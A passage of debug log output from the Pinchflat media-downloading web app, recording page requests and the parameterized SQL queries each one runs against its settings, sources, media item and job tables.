"scheduled", "retryable"] 15:41:42.079 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=139.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [694, 31] 15:41:42.079 [debug] QUERY OK source="settings" db=0.0ms idle=139.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:42.079 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:42.080 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:42.080 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:42.081 [debug] QUERY OK source="media_items" db=1.0ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:41:42.084 [debug] QUERY OK source="media_items" db=2.3ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:41:42.084 [debug] QUERY OK source="sources" db=0.0ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:42.084 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:41:42.085 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:41:42.085 [debug] QUERY OK source="sources" db=0.0ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:42.086 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 15:41:42.089 [debug] QUERY OK source="media_items" db=2.3ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 15:41:42.089 [info] Sent 200 in 11ms 15:41:43.912 [info] GET /sources/1/media/6107 15:41:43.912 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6107", "source_id" => "1"} Pipelines: [:browser] 15:41:43.912 [debug] QUERY OK source="media_items" db=0.1ms idle=1826.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6107] 15:41:43.913 [debug] QUERY OK source="sources" db=0.2ms idle=1823.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:43.913 [debug] QUERY OK source="tasks" db=0.2ms idle=1826.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6107] 15:41:43.913 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1167.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [79] 15:41:43.913 [debug] QUERY OK source="settings" db=0.0ms idle=167.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:43.913 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:43.914 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:43.914 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:43.915 [info] Sent 200 in 3ms 15:41:45.624 [info] GET /sources/3 15:41:45.624 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 15:41:45.624 [debug] QUERY OK source="sources" db=0.2ms idle=877.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:45.624 [debug] QUERY OK source="media_profiles" db=0.1ms idle=684.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:45.625 [debug] QUERY OK source="tasks" db=0.2ms idle=684.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 15:41:45.625 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=685.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [695, 430] 15:41:45.625 [debug] QUERY OK source="settings" db=0.0ms idle=685.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:45.625 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:45.626 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:45.626 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:45.630 [debug] QUERY OK source="media_items" db=3.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:41:45.631 [debug] QUERY OK source="media_items" db=1.4ms idle=4.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:41:45.631 [debug] QUERY OK source="sources" db=0.0ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:45.632 [debug] QUERY OK source="media_items" db=0.2ms idle=5.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 15:41:45.632 [debug] QUERY OK source="media_items" db=0.5ms idle=5.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:41:45.633 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:45.633 [debug] QUERY OK source="media_items" db=0.5ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 15:41:45.634 [debug] QUERY OK source="media_items" db=0.8ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 15:41:45.635 [info] Sent 200 in 11ms 15:41:48.492 [info] GET /app_info 15:41:48.492 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 15:41:48.492 [debug] QUERY OK source="settings" db=0.2ms idle=1552.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:48.493 [debug] QUERY OK source="settings" db=0.1ms idle=1552.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:48.493 [debug] QUERY OK source="settings" db=0.1ms idle=1553.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:48.493 [debug] QUERY OK source="settings" db=0.1ms idle=1553.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:48.493 [debug] QUERY OK source="settings" db=0.0ms idle=743.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:48.494 [info] Sent 200 in 1ms 15:41:49.727 [info] GET /sources/3/media/12825 15:41:49.728 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12825", "source_id" => "3"} Pipelines: [:browser] 15:41:49.728 [debug] QUERY OK source="media_items" db=0.4ms idle=1235.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12825] 15:41:49.728 [debug] QUERY OK source="sources" db=0.0ms idle=1235.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:49.728 [debug] QUERY OK source="tasks" db=0.1ms idle=1235.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12825] 15:41:49.729 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1235.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [469] 15:41:49.729 [debug] QUERY OK source="settings" db=0.0ms idle=977.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 